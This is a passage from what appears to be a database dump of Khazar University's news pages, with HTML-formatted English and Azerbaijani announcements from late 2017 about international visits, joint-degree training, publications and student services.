less than 400 EUR/month (including tuition fee)</p><p>&nbsp; &nbsp; - Tuition Fee: 1090 EUR/year (it can be paid in 10-months installments of 109 EUR each)</p><p>&nbsp; &nbsp; - Accommodation: students can rent a shared room for 110 EUR/month</p><p>&nbsp; &nbsp; - Meals: students can use the University’s academic restaurant for 2,30 EUR per complete meal</p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p>&nbsp;&nbsp;<br></p><p>08&nbsp;December, 2017 </p><h3>Visits to&nbsp;Kozminski University and Warsaw Polytechnic University in Poland</h3><p><span style=\"font-weight:normal\">Dr. Hassan Niknafs, the Rector of Khazar University along with Dr. Jeyhun Mammadov, the Dean of the Faculty of Economics&nbsp;and Management visit Kozminski University and Warsaw University of Technology from December 4 through 8. In their visit to Kozminski University they met with:</span><span style=\"font-weight:normal\"><br></span></p><ul><li><span style=\"font-weight:normal\">Professor Witold Bielecki, the Rector of Kozminski University</span></li><li><span style=\"font-weight:normal\">Dr. Powel Krzyworzeka, Dean of the Management Faculty</span></li><li><span style=\"font-weight:normal\">Dr. Powel Mielcarz, Head of the Finance Department</span></li><li><span style=\"font-weight:normal\">Joanna Kartasiewicz, Research Manager</span></li><li><span style=\"font-weight:normal\">Dona Duda, Head of the Admissions for International Program</span></li><li><span style=\"font-weight:normal\">Marcin Matyja, International Program Coordinator for Accreditation</span></li><li><span style=\"font-weight:normal\">Valentyna Guminska, Director of the International Relations</span></li></ul><br><p>The main subject for the meeting was concentrated in discussion for the process of obtaining EQUIS and EPAS Accreditation for Khazar University, School of Economics and Management. Khazar University will pursue EPAS Accreditation as the first step of this process. Also, in this meeting the possibility of a Dual-Degree program in Finance and Management was discussed in details and some positive agreements were made for establishing a Dual-Degree in between Kozminski University and Khazar University.During this trip to Poland, Dr. Hassan Niknafs and Dr. Jeyhun Mammadov visited Warsaw University of Technology and they met with the Vice-Rector, Prof. Krzysztof Lewenstein. In this meeting a possibility of a Dual-Degree Program in Civil Engineering major was discussed and it will be pursued so that it can implemented for the Fall Semester 2018. Also, possibilities of a mutual research in the fields of Polymer Science and Nano-Technology seemed to be feasible in between the two universities.&nbsp;</p>&nbsp; &nbsp;<a href=\"http://www.khazar.org/files/economics/o_1c1krb1c81b1jb67tt5oec1fp7e.jpg\"><img src=\"/files/economics/o_1c1krb1c81b1jb67tt5oec1fp7e.jpg\" style=\"border:0px #0000ee;width:200px;height:149px;margin:7px 15px 7px 7px;float:left;vertical-align:middle\"></a><br><a href=\"http://www.khazar.org/files/economics/o_1c1krb1c812sf160te921o1012vag.jpg\"><img src=\"/files/economics/o_1c1krb1c812sf160te921o1012vag.jpg\" style=\"border:0px #0000ee;width:220px;height:122px;margin:7px 15px 7px 7px;float:left\"></a><br><br><br><br><br><br><br><br><br><br><a href=\"http://www.khazar.org/files/economics/o_1c1krb1c8180p13f81h5nbfi1i1sd.jpg\"><img src=\"/files/economics/o_1c1krb1c8180p13f81h5nbfi1i1sd.jpg\" style=\"border:0px  #0000ee;width:150px;height:223px;margin:7px 15px 7px 7px;float:left\"></a>&nbsp;<br><a href=\"http://www.khazar.org/files/economics/o_1c1krb1c810831fmu1rubklrc0jf.jpg\"><img src=\"/files/economics/o_1c1krb1c810831fmu1rubklrc0jf.jpg\" style=\"border:0px #0000ee;width:220px;height:122px;margin:7px 15px 7px 7px;float:left;vertical-align:middle\"></a><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p>08&nbsp;December, 2017  <br></p><h3>An article of School of Economics and Management Staff Member in Scopus Indexed Journal</h3><p>The research paper “<em>The Relationship between Energy Consumption and Economic Growth: Evidence from Azerbaijan</em>” by Dr. Shahriyar Mukhtarov, vice dean of the Faculty of Economics and Management at Khazar University, was published in&nbsp;International Journal of Energy Economics and Policy, No 6, Vol 7, 2017. The journal is indexed by SCOPUS, the prestigious abstract and citation database of peer-reviewed literature.The study investigates the causal relationship between energy consumption and economic growth in Azerbaijan using annual data covering the period from 1990 to 2015. Toda-Yamamoto causality test framework of vector autoregressive (VAR) model was used to test causal relationship between the variables. The results of this test show that there is bidirectional causality between energy consumption and economic growth.The paper is available at:&nbsp;<a href=\"http://www.econjournals.com/index.php/ijeep/article/view/5644\">http://www.econjournals.com/index.php/ijeep/article/view/5644</a><br><strong></strong></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><span style=\"font-weight:normal\">01 December, 2017</span></p><h3><strong>Training on \"Financing and\r\nListing through Capital Markets\"</strong></h3><p>On December 1, the Faculty\r\nof Economics and Management, conducted a training session on \"Financing\r\nand Listing through Capital Markets\" for the students of the faculty\r\ntogether with the Training and Education Center of the Financial Markets\r\nControl Center. The experts who took part in the workshop covered capital\r\nmarket participants and instruments, investment securities, capital markets\r\nfinancing, types of investment services and the theoretical and practical\r\nsubjects on issuers of the Baku Stock Exchange listing. The most active participants\r\nof the event, which were rich in interactivity and discussion, were awarded\r\ncertificates by the Chamber of Financial Markets Control.</p>\r\n<p><br></p><p><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar1ir02th1ltchvs93vl.JPG\"><img src=\"/files/economics/o_1c0j8cpar1ir02th1ltchvs93vl.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar1ir02th1ltchvs93vl.JPG\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpareh310p2bp31eid9b7j.JPG\"><img src=\"/files/economics/o_1c0j8cpareh310p2bp31eid9b7j.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px\"></a>&nbsp; &nbsp; &nbsp;&nbsp;<a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar125o159h1nm8gvm11jim.JPG\"><img src=\"/files/economics/o_1c0j8cpar125o159h1nm8gvm11jim.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><br><br></p><p><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpar1kl335kp11uod1eh3k.JPG\"><img src=\"/files/economics/o_1c0j8cpar1kl335kp11uod1eh3k.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a></p><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpas4rn1bsq19he1je11nm8o.JPG\"><img src=\"/files/economics/o_1c0j8cpas4rn1bsq19he1je11nm8o.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpas25g1erp1rgqiv11kaqp.JPG\"><img src=\"/files/economics/o_1c0j8cpas25g1erp1rgqiv11kaqp.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><br><br><br><br><br><br><br><br><br><br><br><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpasol21rh11haf1e032q.JPG\"><img src=\"/files/economics/o_1c0j8cpasol21rh11haf1e032q.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpasle3ajap9uhq167pr.JPG\"><img src=\"/files/economics/o_1c0j8cpasle3ajap9uhq167pr.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><a href=\"http://www.khazar.org/files/economics/o_1c0j8cpasf70le9l15194n1kmrs.JPG\"><img src=\"/files/economics/o_1c0j8cpasf70le9l15194n1kmrs.JPG\" style=\"width:200px;height:160px;margin:7px 10px 7px 7px;float:left\"></a><br><br><br><br><br><br><br><br><br><br><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><img src=\"/files/letters/poster-sehiyye4-n.jpg\" style=\"width:400px;height:588px\"></p>'),(4236,2495,'az','Xəzər Universitetində ikili dərəcə proqramlarının yaradılması ilə bağlı təlim öz işinə başladı','2017-ci il oktyabrın 10-da Xəzər Universitetində Texniki Yardım Missiyası (Technical Assistance Mission – TAM) çərçivəsində...','<p>2017-ci il oktyabrın 10-da Xəzər Universitetində Texniki Yardım Missiyası (<em>Technical Assistance Mission – TAM</em>) çərçivəsində ikili dərəcə proqramlarının yaradılması ilə bağlı təlim öz işinə başladı. Təlimi giriş sözü ilə Xəzər Universitetinin Tədris İşləri üzrə prorektoru professor Məhəmməd Nuriyev açdı və təlim iştirakçılarına uğurlar dilədi.</p><p>Tədbirdə Finlandiya Milli Təhsil Agentliyində proqram meneceri olan Annika Sundbäck-Lindroos, Azərbaycan Respublikası Təhsil Nazirliyinin Elm, ali və orta ixtisas təhsili şöbəsinin baş məsləhətçisi Yaşar Ömərov, müxtəlif Azərbaycan universitetlərinin nümayəndələri və həmçinin, Xəzər Universitetinin əməkdaşları iştirak edirdilər.</p><p>Təlimin keçiriləcəyi iki gün ərzində ikili dərəcə proqramı üzrə ekspert, Finlandiya Milli Təhsil Agentliyində proqram meneceri olan Annika Sundbäck-Lindroos ikili dərəcə proqramları və onun yaratdığı imkanlar, regiondan və Avropadan uğurlu nümunələr, inkişaf prosesinin praktiki detalları, bu cür proqramların yaradılması üçün tələb olunan minimum tələblər haqqında məlumat və bu proqramları yaratmaq üçün məsləhətlər verəcək.</p><p>Oktyabrın 11-də təlimə Azərbaycan Respublikası Təhsil Nazirliyi Akkreditasiya və Nostrifikasiya departamentinin eksperti Anar Nağıyev də qatılacaq.</p><p>Təlimin sonunda iştirakçılara sertifikatlar veriləcək.</p>'),(4237,2499,'az','Kitabxana-İnformasiya Mərkəzi tələbələr üçün təqdimat keçirdi','2017-ci il oktyabrın 10-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzində Humanitar və sosial...','<p>2017-ci il oktyabrın 10-da Xəzər Universiteti Kitabxana-İnformasiya Mərkəzində Humanitar və sosial elmlər fakültəsinin tələbələri üçün “Kitabxanadan istifadə qaydaları” və “Elektron kataloqda axtarış üsulları” adlı təqdimat keçirildi. Təqdimatı Aytac Misgərli və Esmira Hüseynova keçirdilər.</p>'),(4238,2489,'en','A meeting with former abiturients of \"Kainat\" Training Centre','A meeting will be held with the 40 former abiturients of \"Kainat\" Training...','<p>A meeting will be held with the 40 former abiturients of \"Kainat\" Training Centre who selected Khazar University in the admission process, at the Marble Hall, at 15:00, on October 17, 2017.</p>'),(4239,820,'az','Əlilliyi olan tələbələr üçün Mərkəz','Əlilliyi olan tələbələr üçün Mərkəz','<p style=\"text-align:justify\"><strong>“Əlilliyi olan tələbələr üçün Mərkəz”</strong>in fəaliyyəti əlilliyi olan tələbələrə aid məsələləri təşkil və idarə etməkdən ibarətdir. Mərkəzin əsas funksiyası əlilliyi olan tələbələrə təhsildə dəstək olmaq üçün onları məlumatlar və xidmətlərlə təmin etməkdən ibarətdir.&nbsp;Mərkəz əlilliyi olan tələbələri lazımi avadanlıqlarla təmin edəcək və həmçinin ehtiyac olduqda onların əlilliyinə uyğun imtahanların təşkil olunmasına yardım göstərəcəkdir.</p><p style=\"text-align:justify\">Mərkəz aşağıdakı əlilliyi olan tələbələrə yardım və xidmət göstərəcək: tam və ya qismən görmə qabilliyətini itirmiş, fiziki məhdudiyyətli və nitq məhdudiyyəti olanlar. Mərkəzin koordinatoru bütün fakültələrə əlilliyi olan tələbələrə necə yardım və dəstək göstərmək haqqında təlimatlar təqdim edəcəkdir.</p><p style=\"text-align:justify\">Tələbələr Bazar ertəsi – Cümə saat 10:00-dan 17:00-dək mərkəzə müraciət edə bilərlər. Əvvəlcədən razılaşma yolu ilə müraciətlər digər saatlarda da mümkündür.</p><p style=\"text-align:justify\"><strong>Tel</strong>: (+994 12) 4217916 (234)</p>'),(4240,2500,'az','Meksika səfiri Xəzər Universitetində','2017-ci il oktyabrın 4-də Meksikanın Azərbaycandakı fövqəladə və səlahiyyətli səfiri...','<p>2017-ci il oktyabrın 4-də Meksikanın Azərbaycandakı fövqəladə və səlahiyyətli səfiri Rodriqo Labardini Xəzər Universitetində olub, rektor Hassan Niknafsla görüşdü. Görüşdə təhsil əlaqələri və qarşılıqlı maraq doğuran digər məsələlər müzakirə olundu.</p>'),(4241,2499,'en','Presentation for students at Library-Information Center','On October 10, presentation about “Library Rules” and “Search methods in electronic catalogue...','<p>On October 10, presentation about “Library Rules” and “Search methods in electronic catalogue” was held for the students of Humanities and Social Sciences faculty at Library-Information Center (LIC) of Khazar University. Employee of the LIC Aytaj Misgarli and Esmira Huseynova delivered the presentation.</p>'),(4242,2501,'az','“Endnote” proqramından istifadə ilə bağlı seminar keçirildi','2017-ci il oktyabrın 6-da Xəzər Universiteti PhD və Magistr Birliyi məqalə yazmağı, elmi araşdırmalar etməyi...','<p>2017-ci il oktyabrın 6-da Xəzər Universiteti PhD və Magistr Birliyi məqalə yazmağı, elmi araşdırmalar etməyi asanlaşdıran proqram təminatı “Endnote” mövzusunda seminar təşkil etdi. Seminarda biologiya üzrə fəlsəfə doktoru Babək Əlibəyov iştirakçılara praktiki olaraq, şəxsi virtual kitabxanalarını yaratmağı öyrətdi. Seminara Xəzər Universitetinin PhD və magistr tələbələrindən bir qrup iştirak edirdi.</p><p>Növbəti seminar oktyabrın 20-də olacaq. Gələcək seminara qədər iştirakçılardan əvvəlki seminardan əldə etdikləri biliklər əsasında yarım səhifə tədqiqat aparmaları gözlənilir.</p>'),(4243,2502,'az','Misir Mədəniyyət Mərkəzində Qədim Misirin tarixi və mədəniyyəti ilə bağlı seminar-mühazirə keçirildi','2017-ci il oktyabrın 10-da Xəzər Universitetinin Tarix və Arxeologiya departamentinin və Misir Səfirliyinin...','<p>2017-ci il oktyabrın 10-da Xəzər Universitetinin Tarix və Arxeologiya departamentinin və Misir Səfirliyinin Mədəniyyət və Təhsil Əlaqələri Mərkəzinin təşəbbüsü ilə Xəzər Universiteti Təhsil fakültəsi tarix müəllimliyi ixtisasının tələbələrinin Qədim Şərq tarixi dərsinin mühüm tərkib hissəsi olan Qədim Misir tarixi və mədəniyyəti ilə bağlı dərs Azərbaycanın Misir Mədəniyyət Mərkəzində keçirildi. Bu dərsin Misir Mədəniyyət Mərkəzində keçirilməsi tarix ixtisası üzrə təhsil alan tələbələrin əyani olaraq Qədim Şərq fənn ilə bağlı biliklərə yiyələnməsinə və dünyagörüşlərinin artmasına dəstək məqsədi daşıyır. Tədbirdə tələbələrlə yanaşı, Xəzər Universitetinin İngilis dili və ədəbiyyat departamentinin baş müəllimi Firəngiz Nəsirova, Xəzər Universitetinin Tarix və arxeologiya departamentinin müdiri PhD Roza Arazova, Tarix və arxeologiya departamentinin müəllimi Orxan Zamanov və “Azərbaycan arxeologiyası” jurnalının redaktoru professor Qüdrət İsmayılzadə iştirak etdirdilər.</p><p>İştirakçıları salamlayan Misir Mədəniyyət Mərkəzi və Təhsil Əlaqələri Mərkəzinin müdiri Əhməd Sami Elaydi rəhbərlik etdiyi qurumun yaranma tarixin və fəaliyyəti, Misir və Azərbaycan arasında mədəni əlaqələr barədə, eləcə də, Xəzər Universiteti ilə əməkdaşlıq barədə geniş məlumat verərək bildirdi: “Misir və Azərbaycan arasında dostluq əlaqələri uzun illər mövcud olmuşdur. Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzinin əsas istiqamətlərindən biri də iki ölkə arasında olan əlaqələri daha da genişləndirməkdən, təhsil sahəsində əməkdaşlığı artırmaqdan, tələbə və müəllim mübadiləsini, beynəlxalq elmi konfransların, treninqlərin təşkilinin həyata keçirməkdən ibarətdir. Tələbələrin Qədim Misir sivilizasiyasına olan marağını nəzərə alaraq, universitet rəhbərliyinin təşəbbüsü ilə Misir Mədəniyyət və Təhsil Əlaqələri Mərkəzində bu tədbirin keçirilməsini yüksək qiymətləndirəm”.</p><p>Daha sonra mərkəzin rəhbəri tələbələrə Qədim Misir sivilizasiyası haqqında mühazirə oxudu, Misirin tarixi və mədəniyyətini əks olunduğu slayd və film nümayiş olundu.</p><p>Daha sonra Xəzər Universitetinin Tarix və arxeologiya departamentinin rəhbəri PhD Roza Arazova və “Azərbaycan arxeologiyası” jurnalının redaktoru, professor Qüdrət İsmayılzadə Qədim Misir tarixi və tədqiqatlar haqqında tələbələrə məlumat verdilər.</p><p>Tədbir davamında tələbələrlə açıq diskussiya və fikir mübadiləsi baş tutdu.</p><p>Tədbirin keçirilməsi tarix ixtisası üzrə təhsil alan tələbələrin əyani olaraq, Qədim Şərq tarixi fənn ilə bağlı biliklərə yiyələnməsinə və dünyagörüşlərinin artmasına dəstək məqsədi daşıyırdı.</p>'),(4271,2518,'az','“Xəzər”in müəllimi Hafiz Şirazi günü münasibətilə təşkil edilmiş konfransda iştirak etdi','2017-ci il oktyabrın 12-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi dosent...','<p>2017-ci il oktyabrın 12-də Xəzər Universitetinin Azərbaycan dili və ədəbiyyatı departamentinin müəllimi dosent Sevinc Ağayeva İran İslam Respublikasının Azərbaycandakı Səfirliyinin Mədəniyyət Mərkəzinin dəvəti ilə İran şairi Hafiz Şirazi günü münasibətilə təşkil olunmuş “İranla Azərbaycan Respublikasının mədəni-ədəbi əlaqələrində fars dilinin rolu və əhəmiyyəti” mövzusunda konfransında iştirak etdi.</p><p>Konfransın sonunda qonaqlar üçün şam yeməyi verildi.</p>'),(4245,2504,'az','Xəzər Universitetində ikili dərəcə proqramlarının yaradılması ilə bağlı təlim başa çatdı','2017-ci il oktyabrın 11-də Xəzər Universitetində Texniki Yardım Missiyası (Technical Assistance Mission – TAM)...','<p>2017-ci il oktyabrın 11-də Xəzər Universitetində Texniki Yardım Missiyası (<em>Technical Assistance Mission – TAM</em>) çərçivəsində ikili dərəcə proqramlarının yaradılması ilə bağlı təlim davam etdi.</p><p>Tədbirdə Finlandiya Milli Təhsil Agentliyində proqram meneceri Annika Sundbäck-Lindroos, Azərbaycan Respublikası Təhsil Nazirliyi Akkreditasiya və Nostrifikasiya departamentinin baş eksperti dosent Anar Nağıyev, Xəzər Universitetinin İdarəetmə və Tələbə İşləri üzrə prorektoru Dr.İsaxan İsaxanlı, Azərbaycanın müxtəlif universitetlərinin nümayəndələri və həmçinin də Xəzər Universitetinin əməkdaşları iştirak edirdilər. Akkreditasiya və Nostrifikasiya departamentinin baş eksperti dosent Anar Nağıyev “Keyfiyyət təminatı və akkreditasiya: Azərbaycan qanunvericiliyi” mövzusunda təqdimatla çıxış etdi və verilən sualları ətraflı cavablandırdı.</p><p>Qeyd edək ki, təlimin məqsədi ikili dərəcə proqramları və onun yaratdığı imkanlar, regiondan və Avropadan uğurlu nümunələr, inkişaf prosesinin praktiki detalları, bu cür proqramların yaradılması üçün tələb olunan minimum tələblər haqqında məlumat və bu proqramları yaratmaq üçün məsləhətlərin verilməsi idi.&nbsp;</p><p>Təlimin sonunda iştirakçılara sertifikatlar verildi.</p>'),(4266,2515,'az','Azərbaycan dili və ədəbiyyatı departamentinin müəlliminə “Dosent” elmi adı verildi','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Sevinc Ağayevaya...','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Sevinc Ağayevaya Azərbaycan Respublikası Prezidenti yanında Ali Atestasiyası Komissiyasının qərarı ilə Azərbaycan dili ixtisası üzrə “Dosent” elmi adı verilmişdir.'),(4247,2506,'az','“Türkologiyaya giriş” adlı dərs vəsaiti çapdan çıxdı','Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi dosent Elza Səmədovanın...','<p>Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi dosent Elza Səmədovanın Azərbaycan dili və ədəbiyyat müəllimliyi və filologiya ixtisasının tələbələri üçün nəzərdə tutulmuş “Türkologiyaya giriş” fənindən dərs vəsaiti (Bakı 2017) çapdan çıxmışdır. Bu kitabda türkologiya elminin tarixi və tədqiqat sahələri, tədqiqi, mənbələri, türk dilinin mövqeyi, türk dillərinin təsnifatı, tarixi mənbələri haqqında məlumat verilir.</p>'),(4248,2507,'az','Təcrübə-mübadilə səfəri davam edir: Sarbon ekskursiyası və Luis de Grande məktəbində görüş','2017-ci il oktyabrın 10-da Xəzər Universitetinin işçi heyəti Sarbon Universitetinə ekskursiyada...','<p>2017-ci il oktyabrın 10-da Xəzər Universitetinin işçi heyəti Sarbon Universitetinə ekskursiyada iştirak etdilər, Parisin nüfuzlu dövlət məktəbi, Fransanın ən məşhur liseylərindən biri olan Louis de Grande (Louis-le-Grand liseyi) məktəbini ziyarət etdilər.</p><p>Sarbon ekskursiyası nümayəndə heyətinə universitetin təsisatları ilə, onun tarixi və inkişafı, fakültələr və proqramlarla tanış olmağa imkan yaratdı.</p><p>Eyni gündə professor Hamlet İsaxanlının başçılıq etdiyi Xəzər Universiteti və “Dünya” məktəbinin inzibati heyət üzvlərindən ibarət nümayəndə heyəti cənab Jan Bastianelli ilə görüşdülər.</p><p>Cənab Jan Bastianelli məktəbə ekskursiya təşkil etdi və nümayəndə heyətinin üzvlərini buradakı proqramlar, təşkilati struktur, seçim prosesi və digər məsələlər haqqında məlumatlandırdı.</p><p>Professor Hamlet İsaxanlı və Nailə xanım İsayeva Xəzər Universiteti və “Dünya” məktəbi haqqında materiallar və Azərbaycandan ənənəvi suvenirləri təqdim etdilər. Onlar cənab Jan Bastianellini əməkdaşlıq və birgə layihələr təşkil etmək barədə müzəkirələri davam etdirmək üçün “Dünya” məktəbini ziyarət etməyə dəvət etdilər.</p>'),(4249,2507,'en','Experience Exchange Visit Continues: Sorbonne Tour and Meeting at Luis de Grande School','On October 10, delegation from Khazar University participated in the tour of Paris Sorbonne...','<p>On October 10, delegation from Khazar University participated in the tour of Paris Sorbonne University and visited Louis de Grande School (Lycee Louis-le-Grand), a prestigious public school in Paris and one of the most famous lyceums in France.</p><p>The Sorbonne Tour allowed the members of the delegation to get familiarized with facilities of the university and learn about its history and development, faculties and programs, etc.</p><p>The delegation consisting of administrative staff members of Khazar University and Dunya School headed by prof. Hamlet Isakhanli had a meeting with Mr. Jean Bastianelli on the same day.</p><p>Mr. Jean Bastianelli gave a tour of the school and informed the members of the delegation about its programs, organizational structure, selection process, and other aspects.</p><p>Prof. Hamlet Isakhanli and Ms. Naila Isayeva presented materials about Khazar University and Dunya School and traditional souvenirs from Azerbaijan. They invited Mr. Jean Bastianelli to visit Dunya School to continue discussing cooperation and design joint projects.</p>'),(4250,2508,'az','Xəzər Universitetinin təsisçisi Paris Sarbon Universitetinin prezidenti ilə görüşdü','2017-ci il oktyabrın 10-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri...','<p>2017-ci il oktyabrın 10-da Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı Paris Sarbon Universitetinin prezidenti professor Dr. Jobert Bartolomey ilə görüşdü. Görüş Paris Sarbon Universiteti-Əbu-Dabi tərəfindən təşkil olunmuş təcrübə mübadilə səfəri çərçivəsində Fransada Paris Sarbon Universitetində keçirildi.</p><p>Görüşdə Xəzər Universitetinin rektoru Dr. Hassan Niknafs, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, İnkişaf Mərkəzinin direktoru Raziyyə İsayeva, Psixologiya departamentinin koordinatoru Ülkər İsayeva, Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova, “Dünya” məktəbinin həmtəsisçisi Nailə İsayeva, məktəbin direktoru Mərufə Mədətli, İB proqramı koordinatoru Rəna Həsənova da iştirak edirdilər. Görüşdə Paris Sarbon Universiteti-Əbu-Dabinin rektor məsləhətçisi cənab İmran Muxtarov da iştirak edirdi.</p><p>Görüş zamanı iki universitet arasında əməkdaşlıq, birgə layihələr və tədqiqatlar müzakirə olundu. Görüşün sonunda, professor Hamlet İsaxanlı Xəzər Universiteti haqqında materiallar, xatirə hədiyyələri və ənənəvi Azərbaycan suvenirlərini Paris Sarbon Universitetinin prezidentinə təqdim etdi. Professor Hamlet İsaxanlı prezident Bartolomeyi Xəzər Universitetini ziyarət etməyə dəvət etdi.</p>'),(4251,2508,'en','Founder of Khazar University Meets with the President of Paris Sorbonne University','On October 10, 2017, the Founder of Khazar University and the Chairman of its Board...','<p>On October 10, 2017, the Founder of Khazar University and the Chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli met with the President of Paris Sorbonne University Prof. Dr. Jobert Barthelemy. The meeting was held at Paris Sorbonne University in Paris, France within the Experience Exchange Visit organized by Paris Sorbonne University Abu Dhabi.</p><p>Participants of the meeting included administrative staff members of Khazar University (Rector Dr. Hassan Niknafs, Vice-Rector for Research Dr. Irada Khalilova, Development Director Ms. Raziya Isayeva, Psychology Department Coordinator Ms. Ulkar Isayeva, Director of International Affairs Office Ms. Turan Jafarova) and its affiliate Dunya School (co-founder of Dunya School Ms. Naila Isayeva, Principal of Dunya School Ms. Marufa Madatli, IB Program Coordinator Ms. Rena Hasanova). Advisor to the Rector of Paris Sorbonne University Abu Dhabi Mr. Imran Mukhtarov also participated in the meeting.</p><p>Cooperation between the two universities, joint projects and research were discussed during the meeting. At the end of the meeting, Prof. Hamlet Isakhanli presented materials about Khazar University, memorable gifts as well as traditional Azerbaijani souvenirs to the president of Paris Sorbonne University. Prof. Isakhanli also invited President Barthelemy to visit Khazar University.</p>'),(4252,2509,'az','Xəzər Universiteti və “Dünya” məktəbindən işçi heyəti təcrübə mübadilə səfəri ilə Fransadadır','2017-ci il oktyabrın 9-dan 13-dək Xəzər Universiteti və “Dünya” məktəbinin nümayəndələrindən ibarət işçi...','<p>2017-ci il oktyabrın 9-dan 13-dək Xəzər Universiteti və “Dünya” məktəbinin nümayəndələrindən ibarət işçi heyəti Paris Sorbonne Universiteti-Abu Dabi tərəfindən təşkil olunmuş təcrübə mübadilə səfəri ilə Fransada olacaqlar.</p><p>Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının başçılıq etdiyi işçi heyətinə Xəzər Universitetinin (rektor Dr. Hassan Niknafs, Elmi işlər üzrə prorektor Dr. İradə Xəlilova, İnkişaf Mərkəzinin direktoru Raziyyə İsayeva, Psixologiya departamentinin koordinatoru Ülkər İsayeva, Beynəlxalq əlaqələr şöbəsinin direktoru Turan Cəfərova) və “Dünya” məktəbinin (“Dünya” məktəbinin həmtəsisçisi Nailə İsayeva, məktəbin direktoru Mərufə Mədətli, İB proqramı koordinatoru Rəna Həsənova) əməkdaşları daxildirlər.</p>'),(4253,2509,'en','Delegation from Khazar University and Dunya School on Experience Exchange Visit in France','On October 9-13, 2017, a delegation consisting of representatives from Khazar University and Dunya...','<p>On October 9-13, 2017, a delegation consisting of representatives from Khazar University and Dunya school will be in France on an experience exchange visit organized by Paris Sorbonne University Abu Dhabi.</p><p>The delegation headed by the founder of Khazar University and the chairman of its Board of Directors and Trustees Prof. Hamlet Isakhanli includes administrative staff members of Khazar University (Rector Dr. Hassan Niknafs, Vice-Rector for Research Dr. Irada Khalilova, Development Center Director Ms. Raziya Isayeva, Psychology Department Coordinator Ms. Ulkar Isayeva, Director of International Affairs Office Ms. Turan Jafarova) and its affiliate Dunya School (co-founder of Dunya School Ms. Naila Isayeva, Principal of Dunya School Ms. Marufa Madatli, IB Program Coordinator Ms. Rena Hasanova).</p><p>The goal of the visit is to exchange experience and best practices, strengthen cooperation with Paris Sorbonne Universities and leading French Schools, including Luis de Grande School and others.</p>'),(4254,2495,'en','Training on Establishment of Joint Degree Programs started at Khazar University','On October 10, 2017, a training on Establishment of Joint Degree Programs within the framework of Technical...','<p>On October 10, 2017, a training on Establishment of Joint Degree Programs within the framework of Technical Assistance Mission started at Khazar University. Professor Mahammad Nuriyev, the Vice President of Khazar University for Academic Affairs, opened the training session and wished success to the participants.</p><p>Annica Sundback - Lindors, a program manager of National Education Agency of Finland, Yashar Omarov, senior adviser, Department of Science, Higher and Secondary Education of the Ministry of Education and some representatives of the other universities of Azerbaijan as well as Khazar university staff participated in the event.</p><p>Within the two days of a training, Annica Sundback-Lindros, an expert on the joint degree programs and a program manager of National Education Agency of Finland will give information about joint-degree programs, the opportunities they generate, successful examples from the region and Europe, practical details of the development process, and advise how to create such programs.</p><p>On October 11, Anar Nagiyev, an expert of the Department of Accreditation and Nostrification of the Ministry of Education of the Republic of Azerbaijan will join the training session.</p><p>Certificates will be issued to the participants at the end of the training.</p>'),(4255,2510,'az','Türkiyəli “gənc psixoloqlar” Xəzər Universitetinin qonağıdırlar','Qeyd edək ki, 2015-ci il oktyabrın 14-də Azərbaycan Respublikası Ədliyyə Nazirliyi tərəfindən dövlət qeydiyyatına...','<p>Qeyd edək ki, 2015-ci il oktyabrın 14-də Azərbaycan Respublikası Ədliyyə Nazirliyi tərəfindən dövlət qeydiyyatına alınmış “Gənc psixoloqlar” İctimai Birliyi Avropa Tələbə Psixoloqlar Assosasiyaları Federasiyasının (EFPSA) Azərbaycan Respublikası üzrə rəsmi təmsilçisidir. Birliyin əsas məqsədi Azərbaycanda psixologiya ixtisası üzrə kadr ehtiyacının qarşılanması üçün vətənini sevən, dövlətinə sadiq, dünyəvi dəyərlərə və biliklərə sahib gənc mütəxəssislərin yetişdirilməsi və cəmiyyətin psixi sağlamlığı istiqamətində vahid fəaliyyəti təmin və təşkil etməkdir.</p><p>Avropa Tələbə Psixoloqlar Assosasiyalar Federasiyası (EFPSA –European Federation of Psychology Students Assosiation) 1987-ci ildə Portuqaliyada yaradılmışdır. EFPSA 33 ölkəni və 11.000 nəfər gənc psixoloqu əhatə edən ümumavropa təşkilatıdır. Təşkilatın əsas məqsədi gənc psixoloqlar arasında şəbəkə yaratmaqla onlar arasında elmi, təcrübi və mədəni mübadiləni həyata keçirməkdir. MBD ölkələrindən yalnız Azərbaycan bu təşkilatda təmsil olunur.</p><p>EFPSA-nın fəaliyyət istiqamətlərindən biri də təşkilata üzv olan ölkələrin gənc psixoloqları arasında mübadilə 